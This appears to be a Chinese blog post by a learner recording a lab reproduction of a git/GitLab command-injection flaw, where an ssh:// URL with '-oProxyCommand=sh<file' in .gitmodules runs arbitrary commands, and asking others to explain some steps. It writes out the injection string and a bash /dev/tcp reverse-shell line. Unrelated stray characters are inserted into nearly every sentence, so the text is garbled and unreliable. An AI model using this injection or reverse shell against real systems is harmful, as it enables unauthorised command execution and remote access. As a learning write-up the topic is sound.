閑來無事呈野,上i春秋官網(wǎng)做了做幾個漏洞復(fù)現(xiàn)實驗低矮,同時來這里記錄一下相關(guān)問題(ps:本文只是記錄并提問,如果有大佬看見我的問題并有興趣回答的話小弟感激不盡)被冒。
漏洞原因是未對ssh命令進行嚴格的過濾军掂,導(dǎo)致可以使用ssh://-oProxyCommand=sh<xxxx(包含所要執(zhí)行命令的文件)來進行任意命令執(zhí)行。
通過在.gitmodules生成執(zhí)行惡意ssh命令的文件來隱藏攻擊命令昨悼。在這里遇見了第一個問題蝗锥,i春秋實驗中在命令末尾中加了一個wat,但是這個wat的意義作用是什么本人并未看出幔戏,查閱資料也未找到答案玛追。
而且在本地直接使用sh命令時,發(fā)現(xiàn)sh命令后確實接的必須是存在的文件闲延,可實驗中的playload/wat并不存在痊剖,真是讓本菜鳥百思不得其解。
實驗?zāi)┪仓刑岬饺绾问褂迷撀┒催_成反彈shell垒玲,本菜鳥略一思索想到陆馁,在sh<后的文件中寫入反彈shell命令不就行了?真是so easy合愈。然而世事不如意果然十有八九叮贩。
寫入bash -i >&/dev/tcp/127.0.0.1/7777 0>&1并執(zhí)行后會報錯fd number錯誤击狮。查閱了好久才發(fā)現(xiàn)原來是本地kali系統(tǒng)的sh指向了dash而非bash。使用多行命令修改sh鏈接指向益老,并反彈shell彪蓬。最后本地執(zhí)行sh命令成功。
興沖沖的跑去用ssh命令執(zhí)行一遍捺萌,然而發(fā)現(xiàn)档冬,失敗了QAQ。經(jīng)過一番研究桃纯,發(fā)現(xiàn)在本地直接使用ssh -oProxyCommand命令時酷誓,貌似只有可彈出代理對象的命令成功執(zhí)行了(如gnome-terminal彈出shell以及gnome-calculator彈出計算器)。通過sh<xxx讀取文件執(zhí)行命令的方式一直失敗态坦。
那么為啥GitLab上使用成功了呢盐数?又回去翻看了一遍教程,發(fā)現(xiàn)了這個函數(shù)伞梯。
GitLab對cmd參數(shù)進行了處理玫氢,個人猜測可能是此處出了問題,以致于能夠成功執(zhí)行ssh://-oProxyCommand=sh<xxxx壮锻。(此處求大佬解釋QAQ)